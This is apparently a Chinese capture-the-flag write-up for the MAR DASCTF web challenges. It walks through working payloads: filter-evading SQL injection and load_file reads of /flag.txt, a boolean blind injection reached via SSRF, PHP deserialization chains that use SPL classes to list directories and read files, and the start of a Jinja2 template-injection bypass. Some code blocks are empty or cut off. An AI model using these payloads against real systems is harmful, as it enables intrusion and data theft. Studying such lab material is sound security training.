MAR DASCTF明御攻防赛
赛后复现
Web
BestDB
打开页面,是一个输入框,输入一个id返回用户的一些信息
经简单测试,单引号空格之类的字符被过滤,使用双引号与”/**/“即可
测试查询语句字段数为3:
简单测试查询数据库:
1 | -1"/**/union/**/select/**/1,database(),3# |
得到users数据库,接着测试数据表:
1 | -1"/**/union/**/select/**/1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="users")),3# |
得到两个表:f1agdas、users
最终在f1agdas中得到了提示:
1 | -1"/**/union/**/select/**/1,(select(f1agdas)from(f1agdas)),3# |
flag可能在flag.txt里面,尝试读取根目录里的flag.txt,使用load_file
读文件:
1 | -1"/**/union/**/select/**/1,(select(substr(load_file(0x2f666c61672e747874),1,40))),3# |
注意这里/flag.txt要进行hex编码,因为flag也被过滤了。
ez_login
题目给出源码:
1 |
|
经目录探测发现存在admin.php,但需要localhost才能访问,XFF伪造不能达到效果,需利用SSRF,分析代码:
代码开头部分限制了必须设置session,否则就退出程序不再往下执行。这里我们使用 PHP_SESSION_UPLOAD_PROGRESS
上传session即可。
session.upload_progress是php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session中(包含用户可控的值),即使此时用户没有初始化session,PHP也会自动初始化session。 而且,默认情况下session.upload_progress.enabled是为开启的
1 | # -*- coding: utf-8 -*- |
下载这个文件,里面是se1f_log3n.php:
1 |
|
存在sql盲注,且题目得名子是ez_login,那我们可以猜测本题旨在是让我们通过sql注入得到admin的密码。
bool盲注:
1 | payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select user()),{},1))={}%23password=A1'.format(l,ord(s)) |
EXP
1 | # -*- coding: utf-8 -*- |
ez_serialize
题目给出源码:
1 |
|
class A中construct()方法给变量设置了初始值,然后拼接了动态类(类名和参数都可控)并且实例化后输出结果。wakeup()方法实例化了class C,然后验证了$this->para和$this->class之后进行了拼接动态类、实例化、并且输出。class B没什么用,__construct()会输出$this->a。class C类用于过滤一些指定字符,不过这里过滤没什么用。
利用PHP标准库 (SPL): https://www.php.net/manual/zh/book.spl.php
首先利用DirectoryIterator
或FilesystemIterator
类去遍历目标的Web目录:
1 |
|
得到payload:
1 | O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";s:5:"check";N;} |
执行后得到一个文件夹 1aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE:
继续浏览这个目录
1 | ?pop=O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";s:5:"check";N;} |
然后我们使用 SplFileObject 类读取flag.php就行了:
1 |
|
得到payload:
1 | O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";} |
baby_flask
Jinja2 模板的 SSTI
进入题目,是一个输出框。输入你的名字,然后随机返回给你一个幸运数字:
猜测/getname?name=
处应该存在SSTI。查看源码,发现blacklist
1 | <!-- |
过滤的比较多,但还是可以绕过的
Payload构造过程如下:
1 | # 首先构造出所需的数字: |